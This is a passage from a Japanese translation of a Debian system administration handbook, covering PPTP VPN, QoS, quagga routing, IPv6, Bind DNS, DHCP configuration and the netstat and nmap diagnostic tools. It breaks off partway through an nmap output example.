option /etc/ppp/pptpd-options

# TAG: debug
#
#       syslog に詳細なデバッグ情報を出力します
#
# debug

# TAG: localip
# TAG: remoteip
#
#       ローカルとリモートの IP アドレス範囲を指定します。
#
#       コンマで区切ることで、単独の IP アドレスおよび
#       IP アドレス範囲を指定できます。以下は利用例です。
#
#               192.168.0.234,192.168.0.245-249,192.168.0.254
#
```

```
#        以下の重要な制約事項に注意してください。
#
#        1. コンマ間およびアドレス内部で空白文字を使わないでください。
#
#        2. MAX_CONNECTIONS よりも多くの IP アドレス を指定した場合、
#           使われる IP アドレスはリストの先頭から MAX_CONNECTIONS
#           個までの IP アドレスです。それ以外は使われません。
#
#        3. アドレス範囲を略記しないでください! たとえば 234 から 238 の範囲を指定するために
#           234-8 と記述するのは間違いです。その代わり 234-238 と記述してください。
#
#        4. ローカル IP は 1 つだけでも構いません。この場合、すべてのローカル IP は
#           指定したものになります。しかしながら、同時接続中のクライアントには
#           必ず異なるリモート IP を割り振らなければいけません。
#
#localip 192.168.0.234-238,192.168.0.245
#remoteip 192.168.1.234-238,192.168.1.245
#localip 10.0.1.1
#remoteip 10.0.1.2-100
localip 192.168.0.199
remoteip 192.168.0.200-250
```

さらに /etc/ppp/pptpd-options を編集して、PPTP サーバの使う PPP 設定を変更します。重要なパラメータはサーバ名 (pptp)、ドメイン名 (falcot.com)、DNS と WINS サーバの IP アドレスです。

例 10.7　/etc/ppp/pptpd-options ファイル

```
## pppd の syslog デバッグを有効化します
#debug

## 「サーバ名」を chap-secrets 内の自分のサーバ名として指定したものに変更します
name pptp
## ドメイン名をローカルドメインに変更します
domain falcot.com

## 以下は WinXXXX クライアントに対して
## 適当とされるデフォルトセキュリティ関連設定です
# Debian の pppd パッケージは MSCHAP と MPPE の両方をサポートしています。そのため
# ここでは両方を有効化しています。カーネルの MPPE サポートが必須という点にも注意してください!
auth
require-chap
require-mschap
require-mschap-v2
require-mppe-128

## サービスに対応するアドレスを指定してください
ms-dns 192.168.0.1
ms-wins 192.168.0.1
```

```
## ネットマスクを指定してください
netmask 255.255.255.0

## 一部のデフォルト設定
nodefaultroute
proxyarp
lock
```

最後に、vpn ユーザ (と対応するパスワード) を /etc/ppp/chap-secrets ファイルに登録します。サーバ名だけは、アスタリスク (*) を使える他のインスタンスと異なり、明示的に指定しなければいけません。さらに、Windows PPTP クライアントはユーザ名ではなく **DOMAIN\\USER** という形を認証を行います。このため、/etc/ppp/chap-secrets ファイルに FALCOT\\vpn ユーザが追加されています。ユーザに割り当てる IP アドレスを明記することも可能です。IP アドレスフィールドのアスタリスクは動的にアドレスを割り当てることを意味します。

例 10.8　/etc/ppp/chap-secrets ファイル

```
# CHAP 認証用のログイン情報
# クライアント　サーバ　秘密情報　　IP アドレス
vpn              pptp     f@Lc3au      *
FALCOT\\vpn      pptp     f@Lc3au      *
```

SECURITY

PPTP 脆弱性

Microsoft の最初の PPTP 実装は多くのセキュリティ脆弱性を残していたためにさまざまな非難を浴びました。しかし、最近のバージョンではその多くが修正されています。この節で説明されている設定は PPTP プロトコルの最新のバージョンを使っています。いくつかのオプション (require-mppe-128 や require-mschap-v2 など) を無効化すると、サービスに脆弱性が生まれるという点に注意してください。

10.3. Quality of Service

10.3.1. 原理とメカニズム

Quality of Service (サービスの品質) (略して **QoS**) はアプリケーションに提供されるサービスの品質を向上させる技術群を指します。最もよく使われる技術はネットワークトラフィックをカテゴリ分けして、トラフィックの所属するカテゴリごとにその取り扱いに違いを付ける技術です。サービスを差別化するという概念の主な用途が**トラフィックシェーピング**です。これは一部のサービスおよびホストに関連する接続のデータの転送率を制限します。これを使うことで、利用できる帯域幅が飽和することを避け、重要な他のサービスに支障が出ないようにします。トラフィックシェーピングは TCP トラフィックに対して特に有効です。なぜなら、TCP は利用できる帯域幅に自動的に適応するからです。

トラフィックの優先度を変更し、対話型サービス (ssh や telnet など) や小さなブロックのデータだけを取り扱うサービスに関連するパケットに高い優先度を付けることも可能です。

Debian カーネルには、QoS 関連モジュールと一緒に QoS に必要な機能が含まれています。多くのモジュールが存在し、各モジュールが異なるサービスを提供します。中でも注目すべきは IP パケットの待ち行列用の特別なスケジューラです。このスケジューラはさまざまな用途に利用できるため、考え得るさまざまな要求に対応できます。

CULTURE

LARTC (Linux Advanced Routing & Traffic Control)

Linux Advanced Routing & Traffic Control HOWTO はネットワークのサービス品質に関して知っておくべきすべての内容をカバーする基礎的な文書です。

➡ http://www.lartc.org/howto/

10.3.2. 設定と実践

QoS パラメータは tc コマンド (**iproute** パッケージに含まれます) を使って設定します。tc コマンドはインターフェースがかなり複雑なので、高レベルツールを使うことを推奨します。

待ち時間の低減、wondershaper

wondershaper (同名のパッケージに含まれます) の主目的はネットワーク負荷とは無関係に待ち時間を最小化することです。全トラフィックをある値に制限することにより、これは実現されます。この値には帯域を飽和させるよりほんの少しだけ小さな値を設定します。

ネットワークインターフェースを設定した後、wondershaper **interface download_rate upload_rate** を実行することでトラフィックが制限されます。ここで **interface** はたとえば eth0 または ppp0 などのインターフェース名で、**download_rate** および **upload_rate** はキロビット毎秒単位の値です。特定のインターフェースで実施されているトラフィック制限を無効化するには wondershaper remove **interface** コマンドを使います。

イーサネット接続の場合、wondershaper をインターフェースが設定された直後に呼び出すのが最良です。これを行うには、/etc/network/interfaces ファイルに up と down 指示文を追加して、それぞれインターフェースが開始された後と停止される前に実行するコマンドを宣言します。以下にその例を示します。

例 10.9　/etc/network/interfaces ファイルの修正

```
iface eth0 inet dhcp
    up /sbin/wondershaper eth0 500 100
    down /sbin/wondershaper remove eth0
```

PPP の場合、/etc/ppp/ip-up.d/ 内に wondershaper を呼び出すスクリプトを作成することで、接続が開始された後の可能な限り早い時期にトラフィック制御を行うように設定できます。

GOING FURTHER

最適な設定

/usr/share/doc/wondershaper/README.Debian.gz ファイルでは、パッケージメンテナの推奨する設定方法が少し詳しく説明されています。特に、ダウンロードとアップロード速度を計測することを勧めています。実際の速度を計測することで、制限を適切に見積もることが可能です。

標準的な設定

明示的に QoS 設定を行わない場合、Linux カーネルは pfifo_fast キュースケジューラを使います。これは興味深い機能を提供します。各 IP パケットの優先度はパケットの ToS フィールド (**Type of Service**) によって決まります。スケジューリング機能を活用するには、このフィールドを修正するだけで十分です。ToS フィールドの取り得る値は以下の 5 種類です。

- 通常のサービス (0)。
- コストの最小化 (2)。
- 信頼度の最大化 (4)。
- 速度の最大化 (8)。
- 遅延の最小化 (16)。

ToS フィールドは IP パケットを生成するアプリケーションによって設定されるか、**netfilter** によってその場で修正されます。以下のルールを使うだけで、サーバの SSH サービスに対する応答性を増加させることが可能です。

```
iptables -t mangle -A PREROUTING -p tcp --sport ssh -j TOS --set-tos Minimize-Delay
iptables -t mangle -A PREROUTING -p tcp --dport ssh -j TOS --set-tos Minimize-Delay
```

10.4. 動的ルーティング

現在の動的ルーティングの標準ツールは quagga で、quagga は同名のパッケージに含まれます。以前の標準ツールは zebra でしたが、zebra は開発中止となったため quagga に取って代わられました。しかしながら、quagga は互換性の理由からプログラムの名前に zebra を使っています。

BACK TO BASICS

動的ルーティング

動的ルーティングを使うことで、ルータは IP パケットの送信経路をリアルタイムで調整することが可能になります。プロトコルごとに経路を定義する方法 (最短経路、各装置が希望する経路など) は違います。

Linux カーネルでは、ネットワークデバイスとそのデバイスを通過して到達できるマシン群を関連付けることで経路を定義します。route コマンドは新しい経路を定義したり、既存の経路を表示するために使われます。

Quagga は複数のデーモン群で、これらが協力して Linux カーネルの使うルーティングテーブルを定義します。各ルーティングプロトコル (中でも注目すべきは BGP、OSPF、RIP) に対して専用のデーモンがあります。zebra デーモンは他のデーモンから情報を収集し、その情報に基づき静的ルーティングテーブルを操作します。ここで他のデーモンとは、bgpd、ospfd、ospf6d、ripd、ripngd、isisd、babeld として知られています。

これらのデーモンを有効化するには、/etc/quagga/daemons ファイルを編集し、適切な設定ファイルを /etc/quagga/ の中に作成してください。さらに、この設定ファイルはデーモンにちなんで命名され、.conf 拡張子を付けられ、quagga ユーザと quaggavty グループに所有されなければいけません。これは /etc/init.d/quagga スクリプトが対象のデーモンを呼び出せるようにするためです。

デーモンを設定するには、対象のルーティングプロトコルに関する知識が必要です。ここではそれぞれのプロトコルの詳細を説明できませんが、**quagga-doc** パッケージに含まれる `info` ファイルで十分な説明が行われています。また、同じ内容を Quagga のウェブサイト上で HTML として閲覧するほうが簡単かもしれません。

➡ `http://www.nongnu.org/quagga/docs/docs-info.html`

加えて、設定構文は標準的なルータの設定インターフェースととても似ているため、ネットワーク管理者は quagga に素早く順応するでしょう。

IN PRACTICE

OSPF、BGP、RIP?

一般に、OSPF はプライベートネットワークの動的ルーティングに使われる最良のプロトコルです。BGP はインターネット全体のルーティングに使われることが多いプロトコルです。RIP は比較的古典的で、ほとんど使われません。

10.5. IPv6

IPv6 は IPv4 の後継で、IP プロトコルの新しいバージョンで、IPv4 の欠点 (中でも注目すべきは利用できる IP アドレスの枯渇) を解決するために設計されました。IPv6 はネットワーク層で動きます。そして IPv6 の目的はマシンをアドレス指定する方法を提供すること、目標の宛先にデータを伝達すること、必要ならばデータの断片化を取り扱うことです (言い換えれば、経路で使われるネットワークリンクに従ってパケットをあるサイズのチャンクに分割し、到着した時に適切な順番にチャンクを再構築することです)。

Debian カーネルは IPv6 をコアカーネルでサポートします (ipv6 という名前でコンパイルされたモジュールを使って IPv6 をサポートする一部のアーキテクチャを除きます)。`ping`、`traceroute` などの基本ツールには IPv6 用の `ping6`、`traceroute6` などの代替品があり、これらはそれぞれ **iputils-ping**、**iputils-tracepath** パッケージに含まれます。

IPv6 ネットワークは IPv4 と同様に `/etc/network/interfaces` で設定します。しかし、ネットワークをグローバルに利用できるようにしたい場合、グローバル IPv6 ネットワークへのトラフィックを中継するための IPv6 を取り扱うことができるルータを持っていなければいけません。

例 10.10　IPv6 設定の例

```
iface eth0 inet6 static
    address 2001:db8:1234:5::1:1
    netmask 64
    # 自動設定の無効化
    # autoconf 0
    # ルータが自動設定されており、ルータが固定アドレスを持っていない場合は
    # accept_ra 1 を有効化してください。それ以外の場合は以下を有効化してください。
    # gateway 2001:db8:1234:5::1
```

IPv6 サブネットのネットマスクは通常 64 ビットです。これは、サブネットの中に 2^{64} 個の異なるアドレスが存在することを意味します。この特徴のおかげで、インターフェースの MAC アドレスに基づいたアドレスを選ぶステートレスアドレス自動設定 (SLAAC) を使うことが可能です。ネットワークで SLAAC が有効化されコンピュータで IPv6 が有効化された場合、デフォルトでカーネルは自動的に IPv6 ルータを探してネットワークインターフェースを設定します。

SLAAC の挙動はプライバシーを推測される危険性をはらんでいます。たとえばラップトップでネットワークを頻繁に切り替える場合、公開 IPv6 アドレスの一部に MAC アドレスを含めたくないかもしれません。SLAAC のせいで、異なるネットワーク上の同じデバイスを容易に識別できるようになります。この問題に対する解決策が IPv6 プライバシー拡張です (初回インストール時に IPv6 接続が検出された場合、Debian は IPv6 プライバシー拡張をデフォルトで有効化します)。IPv6 プライバシー拡張を使うとインターフェースにランダムに生成されたアドレスを割り当て、定期的にこれを変更し、外部に出る接続にはこのアドレスを使うようになります。外部から入ってくる接続は SLAAC で生成されたアドレスを使うことも可能です。以下の例では `/etc/network/interfaces` の中で IPv6 プライバシー拡張を有効化しています。

例 10.11　IPv6 プライバシー拡張

```
iface eth0 inet6 auto
    # 外部へ接続する際にランダムに割り当てられたアドレスを使います。
    privext 2
```

TIP
プログラムの IPv6 対応

多くのソフトウェアを IPv6 に対応させる必要があります。Debian に含まれるほとんどのパッケージは既に IPv6 に対応済みですが、すべてではありません。もしお気に入りのパッケージがまだ IPv6 に対応していない場合、**debian-ipv6** メーリングリストで助けを求めることも可能です。彼らは IPv6 に対応している代替ソフトウェアを知っているかもしれませんし、この問題について適切な追跡が行えるようなバグ報告を投稿できるかもしれません。

➡ `http://lists.debian.org/debian-ipv6/`

IPv6 接続は IPv4 と同様の方法で制限することが可能です。すなわち標準的な Debian カーネルは IPv6 用の **netfilter** に対応しています。IPv6 対応の **netfilter** を設定するには IPv4 でやったのと同様の方法を使います。ただし、`iptables` の代わりに `ip6tables` を使います。

10.5.1. トンネル

CAUTION
IPv6 トンネルとファイアウォール

IPv4 上に IPv6 トンネルを作るには (ネイティブ IPv6 とは対照的に) IPv4 プロトコル 41 番を使うトラフィックを受け入れるファイアウォールが必要です。

ネイティブ IPv6 接続が利用できない場合、IPv4 上のトンネルを経由する代替法が使われます。gogo6 はこのようなトンネルの (無料) プロバイダです。

➡ `http://www.gogo6.com/freenet6/tunnelbroker`

Freenet6 トンネルを使うには、ウェブサイトから Freenet6 Pro アカウントを登録し、**gogoc** パッケージをインストールし、トンネルを設定します。`/etc/gogoc/gogoc.conf` ファイルを編集する必要があります。具体的に言えば、電子メールで受け取った userid と password 行を追加し、server を authenticated.freenet6.net に置き替えます。

IPv6 接続をローカルネットワークのすべてのマシンに提供するには、以下の 3 つの指示文を `/etc/gogoc/gogoc.conf` ファイルに追加します (ここで、ローカルネットワークは eth0 インターフェースに接続されていると仮定します)。

```
host_type=router
prefixlen=56
if_prefix=eth0
```

これでマシンは 56 ビットのプレフィックスを持つサブネット用のアクセスルータになります。Freenet6 トンネルが設定変更を検出したら、ローカルネットワークに設定変更を通知しなければいけません。これを行うには radvd デーモン (同名のパッケージに含まれます) をインストールします。radvd IPv6 設定デーモンは IPv4 で言うところの dhcpd と同様の役割を果たします。

/etc/radvd.conf 設定ファイルを作成しなければいけません (ひな形の /usr/share/doc/radvd/examples/simple-radvd.conf を参照してください)。Freenet6 を使う場合、プレフィックス設定を Freenet6 から提供されたものに変更するだけで十分です。プレフィックスを探すには ifconfig コマンドの出力から tun インターフェースを含むブロックを参照します。

この後 service gogoc restart と service radvd start を実行すれば、IPv6 ネットワークが使えるはずです。

10.6. ドメインネームサーバ (DNS)

10.6.1. 原理とメカニズム

ドメインネームサービス (DNS) はインターネットの基礎要素です。つまり DNS はホスト名を IP アドレスに対応付け (逆に IP アドレスをホスト名に対応付けることも行います)、5.153.231.4 や 2001:41c8:1000:21::21:4 の代わりに www.debian.org を使えるようにします。

DNS レコードはゾーン分けされています。それぞれのゾーンはドメイン (またはサブドメイン) か IP アドレス範囲に対応付けられます (なぜなら、ゾーンは通常連続した IP アドレス範囲を割り当てられるからです)。プライマリサーバはあるゾーンに含まれる内容の情報を提供する権威的なサーバです。さらに、セカンダリサーバは通常プライマリサーバとは別のマシン上でホストされ、定期的にプライマリゾーンのコピーをとるサーバです。

各ゾーンには、さまざまな種類のレコード (**リソースレコード**) が含まれます。

- A。IPv4 アドレスを意味します。
- CNAME。別名 (**canonical name**) を意味します。
- MX。**mail exchange** つまり電子メールサーバを意味します。MX レコードは電子メールサーバが自分の管理下にないアドレス宛の電子メールの送信先を見つけるために使われます。それぞれの MX レコードには優先度があります。最も優先度の高いサーバ (最も低い番号のサーバ) に対する送信を最初に試行します (補注「 SMTP」252 ページを参照してください)。さらに、最初のサーバからの応答がなかった場合、他のサーバを優先度の高い順に試行します。
- PTR。ある IP アドレスに対する名前の対応付けを意味します。PTR レコードはある IP アドレス範囲に対応付けられた「逆引き DNS」ゾーンに保存されます。たとえば、1.168.192.in-addr.arpa は 192.168.1.0/24 範囲に含まれる全アドレスの逆引き対応が保存されているゾーンです。
- AAAA。IPv6 アドレスを意味します。
- NS。名前とネームサーバの対応付けを意味します。それぞれのドメインは最低 1 つの NS レコードを持っています。NS レコードでは、このドメインに対する問い合わせに答えることができる DNS サー

バを指定します。これは通常そのドメインに対するプライマリおよびセカンダリサーバです。NS レコードを使って DNS の権限委譲を指定することも可能です。たとえば、falcot.com ゾーンの NS レコードには internal.falcot.com が含まれます。これは internal.falcot.com ゾーンは別のサーバが担当していることを意味します。もちろん、このサーバは internal.falcot.com ゾーンを宣言しなければいけません。

標準的なネームサーバである Bind は ISC (**Internet Software Consortium**) によって開発およびメンテナンスされています。Debian において Bind を提供するパッケージは **bind9** です。Bind バージョン 9 では、前のバージョンに比べて 2 種類の大きな変更が導入されました。1 番目は DNS サーバを非特権ユーザとして実行するという変更です。これにより、サーバのセキュリティ脆弱性によって攻撃者に root 権限を渡してしまうことがなくなりました (バージョン 8.x ではこのようなことがよくありました)。

2 番目は Bind が DNS レコードの署名 (すなわち DNS レコードの認証) に DNSSEC 標準をサポートするようになった変更です。これにより、中間者攻撃で DNS レコードが偽装された場合に、偽装された DNS レコードを遮断することが可能になりました。

CULTURE
DNSSEC

DNSSEC の規格はかなり複雑です。さらに DNSSEC はその複雑さにより、まだ広く使われている規格ではありません (DNSSEC に未対応の DNS サーバと完全に共存するにも関わらず使われていません)。一部始終を理解するには、以下の記事を参照してください。

➨ http://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.6.2. 設定

バージョンによらず bind の設定ファイルは同じ構造をしています。

Falcot の管理者は falcot.com ドメインに関連する情報を保存するためにプライマリ falcot.com ゾーンを作成し、ローカルネットワーク内の IP アドレスとの逆引き対応を付けるために 168.192.in-addr.arpa ゾーンを作成しました。

CAUTION
逆引きゾーンの名前

逆引きゾーンには特定の名前が付けられています。192.168.0.0/16 ネットワークに対する逆引きゾーンは 168.192.in-addr.arpa のように名付けなければいけません。具体的に言えば、IP アドレス部分の順序を逆にして、その後ろに in-addr.arpa サフィックスを付けます。

IPv6 ネットワークの場合、IP アドレスを完全に 16 進数表記した時の文字を逆順にして、その後ろに ip6.arpa サフィックスを付けます。つまり、2001:0bc8:31a0::/48 ネットワークはゾーン名として 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa を使います。

TIP
DNS サーバのテスト

host コマンド (**bind9-host** パッケージに含まれます) は引数に DNS サーバを与えることができ、DNS サーバの設定をテストするために使うことも可能です。たとえば host machine.falcot.com localhost を使うと、localhost 上の DNS サーバに machine.falcot.com を問い合わせた際の応答を確認することが可能です。host **ipaddress** localhost を使うと逆引き設定をテストすることが可能です。

以下に Falcot のファイルから抜粋した設定を載せます。これは DNS サーバの設定の足掛かりになります。

例 10.12　/etc/bind/named.conf.local の抜粋

```
zone "falcot.com" {
        type master;
        file "/etc/bind/db.falcot.com";
        allow-query { any; };
        allow-transfer {
                195.20.105.149/32 ; // ns0.xname.org
                193.23.158.13/32 ; // ns1.xname.org
        };
};

zone "internal.falcot.com" {
        type master;
        file "/etc/bind/db.internal.falcot.com";
        allow-query { 192.168.0.0/16; };
};

zone "168.192.in-addr.arpa" {
        type master;
        file "/etc/bind/db.192.168";
        allow-query { 192.168.0.0/16; };
};
```

例 10.13　/etc/bind/db.falcot.com の抜粋

```
; falcot.com ゾーン
; admin.falcot.com. でゾーン連絡先アドレスに admin@falcot.com を指定したことになります
$TTL    604800
@       IN      SOA     falcot.com. admin.falcot.com. (
                        20040121        ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
; @ はゾーン名（ここでは "falcot.com"）または
; $ORIGIN 指示文が使われていた場合 $ORIGIN を意味します
;
@       IN      NS      ns
@       IN      NS      ns0.xname.org.

internal IN      NS      192.168.0.2

@       IN      A       212.94.201.10
@       IN      MX      5 mail
```

```
@        IN       MX       10 mail2

ns       IN       A        212.94.201.10
mail     IN       A        212.94.201.10
mail2    IN       A        212.94.201.11
www      IN       A        212.94.201.11

dns      IN       CNAME    ns
```

CAUTION

名前の構文

マシン名の構文には厳密なルールがあります。たとえば、machine は machine.**domain** を意味します。名前にこのドメイン名を加えるべきでない場合、名前を machine. のように表記 (ドットを後置) しなければいけません。このため、現在のドメインの外部にある DNS 名を表すには machine.otherdomain.com. のような構文 (最後にドットを後置) が必要です。

例 10.14　/etc/bind/db.192.168 の抜粋

```
; 192.168.0.0/16 用の逆引きゾーン
; admin.falcot.com. でゾーン連絡先アドレスに admin@falcot.com を指定したことになります
$TTL     604800
@        IN       SOA      ns.internal.falcot.com. admin.falcot.com. (
                          20040121         ; Serial
                           604800          ; Refresh
                            86400          ; Retry
                          2419200          ; Expire
                           604800 )        ; Negative Cache TTL

         IN       NS       ns.internal.falcot.com.

; 192.168.0.1 を arrakis に対応付けます
1.0      IN       PTR      arrakis.internal.falcot.com.
; 192.168.0.2 を neptune に対応付けます
2.0      IN       PTR      neptune.internal.falcot.com.

; 192.168.3.1 を pau に対応付けます
1.3      IN       PTR      pau.internal.falcot.com.
```

10.7. DHCP

DHCP (**Dynamic Host Configuration Protocol** の略語) はマシンが起動時にネットワーク設定を自動的に取得することを可能にするプロトコルです。DHCP のおかげでネットワーク設定の管理を中央集権化し、すべてのデスクトップマシンに類似した設定を行うことが可能になります。

DHCP サーバは多くのネットワーク関連パラメータを提供します。DHCP サーバが提供する最も一般的なパラメータは IP アドレスとマシンの所属するネットワークです。しかしながら、DHCP サーバは DNS サーバ、WINS サーバ、NTP サーバなどの情報を提供することも可能です。

(bind の開発にも参加している) Internet Software Consortium は DHCP サーバの主開発者です。彼らの開発した DHCP サーバを含む Debian パッケージは **isc-dhcp-server** です。

10.7.1. 設定

DHCP サーバの設定ファイル (/etc/dhcp/dhcpd.conf) で最初に編集する必要がある場所はドメイン名と DNS サーバです。DHCP サーバがローカルネットワーク (ブロードキャストが届く範囲として定義されます) に 1 台しかない場合、authoritative 指示文を有効化しなければいけません (コメントを外さなければいけません)。また、subnet セクションを作成し、そこに通知先のローカルネットワークと設定情報を記述する必要があります。以下は 192.168.0.1 にゲートウェイを担当しているルータが存在する 192.168.0.0/24 ローカルネットワーク用の設定例です。配布される IP アドレスは 192.168.0.128 から 192.168.0.254 までの範囲です。

例 10.15　/etc/dhcp/dhcpd.conf の抜粋

```
#
# Debian の ISC dhcpd 用設定ファイルの見本
#

# ddns-update-style パラメータは IP アドレスのリースが確認されたら
# このサーバが DNS 更新を試行するか否かを制御します。
# デフォルト設定値はバージョン 2 パッケージの挙動です
# ('none'。なぜなら DHCP v2 は DDNS をサポートしていなかったからです)。
ddns-update-style interim;

# すべてのネットワークに共通のオプションを定義します。
option domain-name "internal.falcot.com";
option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;
max-lease-time 7200;

# この DHCP サーバがローカルネットワークの公式 DHCP サーバならば、
# authoritative 指示文を有効化するべきです。
authoritative;

# dhcp ログメッセージを別のログファイルへ送信するには以下の設定を使います
# (これを正しく動作させるには syslog.conf の設定も必要です)。
log-facility local7;

# 自分のサブネット
subnet 192.168.0.0 netmask 255.255.255.0 {
    option routers 192.168.0.1;
    option broadcast-address 192.168.0.255;
    range 192.168.0.128 192.168.0.254;
    ddns-domainname "internal.falcot.com";
}
```

10.7.2. DHCP と DNS

DNS ゾーン内に DHCP クライアントを自動登録するという便利な機能を使うことが可能です。自動登録機能を使えば、各マシンの意味のある名前を使ってアクセスできるようになります (自動登録機能を使わない場合、machine-192-168-0-131.internal.falcot.com などの匿名性のある名前を使ってアクセスすることになります)。自動登録機能を使うには、DHCP サーバから internal.falcot.com DNS ゾーンの更新を受け入れるように DNS サーバを設定して、各クライアントの登録情報の更新を DNS サーバに送信するように DHCP サーバを設定します。

bind の場合、DHCP サーバから更新を受け入れる各ゾーンに allow-update 指示文を追加する必要があります (internal.falcot.com ドメインと逆引きゾーンの両方に追加する必要があります)。allow-update 指示文は更新を受け入れる IP アドレスをリストします。つまり、考え得る DHCP サーバの全アドレスを列挙します (必要に応じて、ローカルアドレスと公開アドレスの両方を指定します)。

```
allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };
```

注意してください! 更新を受け入れることを許可したゾーンは bind により**変更され**、設定ファイルは定期的に上書きされます。この自動手続きにより作成されるファイルは手作業で書かれたものよりも人間にとって読みづらいため、Falcot の管理者は権限委譲された DNS サーバを使って internal.falcot.com ドメインを管理しています。これは falcot.com ゾーンファイルは手作業で管理されることを意味します。

上で引用した DHCP サーバの設定には、既に DNS ゾーンの更新に必要な指示文が含まれています。すなわちその指示文とは ddns-update-style interim; とサブネットを表すブロック中の ddns-domain-name "internal.falcot.com"; です。

10.8. ネットワーク診断ツール

ネットワークアプリケーションが期待通りに動かない場合、中身を確かめることが重要です。すべてが問題なく動いているように見える場合でも、ネットワーク診断を実行すればすべてがあるべき姿で動いていることを確かめる手助けになります。この目的で複数の診断ツールが存在します。そして、各ツールは異なるレベルを診断します。

10.8.1. ローカルの診断、netstat

最初に netstat コマンド (**net-tools** パッケージに含まれます) を紹介しましょう。netstat コマンドはマシンのその瞬間のネットワーク活動に関する要約を表示します。何も引数を渡さずに実行した場合、netstat コマンドは開かれた接続をリストします。このリストはとても長くなる場合があります。なぜなら、このリストには多くの Unix ドメインソケットが含まれるからです (Unix ドメインソケットはデーモンによって広く使われています)。Unix ドメインソケットはネットワークに関与するものではありません (dbus 通信、X11 トラフィック、仮想ファイルシステムとデスクトップ間の通信などに関与するものです)。

一般的に netstat を実行する際には標準の挙動を変更するオプションを使います。最も頻繁に使われるオプションを以下に挙げます。

- -t。TCP 接続だけが表示されます。

- -u。UDP 接続だけが表示されます。-t と -u オプションは同時に使えます。Unix ドメインソケットの表示を抑制するにはどちらか一方を使うだけで十分です。
- -a。リッスンしている (接続を待ち受けている) ソケットも表示されます。
- -n。結果が数値的に表示されます。すなわち、IP アドレス (DNS で名前解決しません)、ポート番号 (/etc/services の定義する別名を使いません)、ユーザ id (ログイン名を使いません) を使って表示されます。
- -p。関連付けられたプロセスが表示されます。netstat を root 権限で実行した場合にのみ、このオプションは役に立ちます。なぜなら、普通のユーザは自分のプロセス以外を見ることができないからです。
- -c。継続的に接続リストを更新します。

netstat(8) マニュアルページに書かれている他のオプションを使えば、表示される結果をさらに細かく制御することが可能です。実質的には上に挙げたオプションのうち最初の 5 種類を組み合わせて使うことが多いため、結果としてシステムとネットワークの管理者は netstat -tupan を身に付けることが多いです。負荷の高くないマシンでは、以下のような典型的な結果を返します。

```
# netstat -tupan
稼働中のインターネット接続 (サーバと確立)
Proto 受信-Q 送信-Q 内部アドレス             外部アドレス             状態        PID/Program name
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      397/rpcbind
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      431/sshd
tcp        0      0 0.0.0.0:36568           0.0.0.0:*               LISTEN      407/rpc.statd
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      762/exim4
tcp        0    272 192.168.1.242:22        192.168.1.129:44452     ESTABLISHED 1172/sshd: roland [
tcp6       0      0 :::111                  :::*                    LISTEN      397/rpcbind
tcp6       0      0 :::22                   :::*                    LISTEN      431/sshd
tcp6       0      0 ::1:25                  :::*                    LISTEN      762/exim4
tcp6       0      0 :::35210                :::*                    LISTEN      407/rpc.statd
udp        0      0 0.0.0.0:39376           0.0.0.0:*                           916/dhclient
udp        0      0 0.0.0.0:996             0.0.0.0:*                           397/rpcbind
udp        0      0 127.0.0.1:1007          0.0.0.0:*                           407/rpc.statd
udp        0      0 0.0.0.0:68              0.0.0.0:*                           916/dhclient
udp        0      0 0.0.0.0:48720           0.0.0.0:*                           451/avahi-daemon: r
udp        0      0 0.0.0.0:111             0.0.0.0:*                           397/rpcbind
udp        0      0 192.168.1.242:123       0.0.0.0:*                           539/ntpd
udp        0      0 127.0.0.1:123           0.0.0.0:*                           539/ntpd
udp        0      0 0.0.0.0:123             0.0.0.0:*                           539/ntpd
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           451/avahi-daemon: r
udp        0      0 0.0.0.0:39172           0.0.0.0:*                           407/rpc.statd
udp6       0      0 :::996                  :::*                                397/rpcbind
udp6       0      0 :::34277                :::*                                407/rpc.statd
udp6       0      0 :::54852                :::*                                916/dhclient
udp6       0      0 :::111                  :::*                                397/rpcbind
udp6       0      0 :::38007                :::*                                451/avahi-daemon: r
udp6       0      0 fe80::5054:ff:fe99::123 :::*                                539/ntpd
udp6       0      0 2001:bc8:3a7e:210:a:123 :::*                                539/ntpd
udp6       0      0 2001:bc8:3a7e:210:5:123 :::*                                539/ntpd
udp6       0      0 ::1:123                 :::*                                539/ntpd
udp6       0      0 :::123                  :::*                                539/ntpd
udp6       0      0 :::5353                 :::*                                451/avahi-daemon: r
```

予想通り、確立された接続 (2 つの SSH 接続) と接続を待ち受けているアプリケーション (LISTEN と記載されます。特に 25 番をリッスンしている Exim4 電子メールサーバ) が表示されます。

10.8.2. リモートの診断、nmap

nmap (同名のパッケージに含まれます) はある意味でリモートに対する netstat に相当します。nmap は 1 台または数台のリモートサーバに対して「well-known」ポート群をスキャンし、入ってきた接続に応答したアプリケーションの見つかったポートをリストします。さらに、nmap は一部のアプリケーションを識別することが可能です。場合によってはアプリケーションのバージョン番号さえも識別することが可能です。nmap は netstat と対照的にリモートから実行されるため、プロセスやユーザの情報を提供できません。しかしながら、nmap は複数のリモートサーバに対して一気に実行できます。

nmap を実行する際の典型例は -A オプション (nmap は見つかったサーバソフトウェアのバージョンを識別しようとします) だけを使い、その後ろにスキャンする 1 つか複数の IP アドレスまたは DNS 名を渡すことです。繰り返しになりますが、他にも多くのオプションが存在し、nmap の挙動をさらに細かく制御することが可能です。nmap(1) マニュアルページを参照してください。

```
# nmap mirtuel

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-10 00:46 JST
Nmap scan report for mirtuel (192.168.1.242)
Host is up (0.000013s latency).
rDNS record for 192.168.1.242: mirtuel.internal.placard.fr.eu.org
Not shown: 998 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds
# nmap -A localhost

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-10 00:46 JST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000013s latency).
Other addresses for localhost (not scanned): 127.0.0.1
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 3 (protocol 2.0)
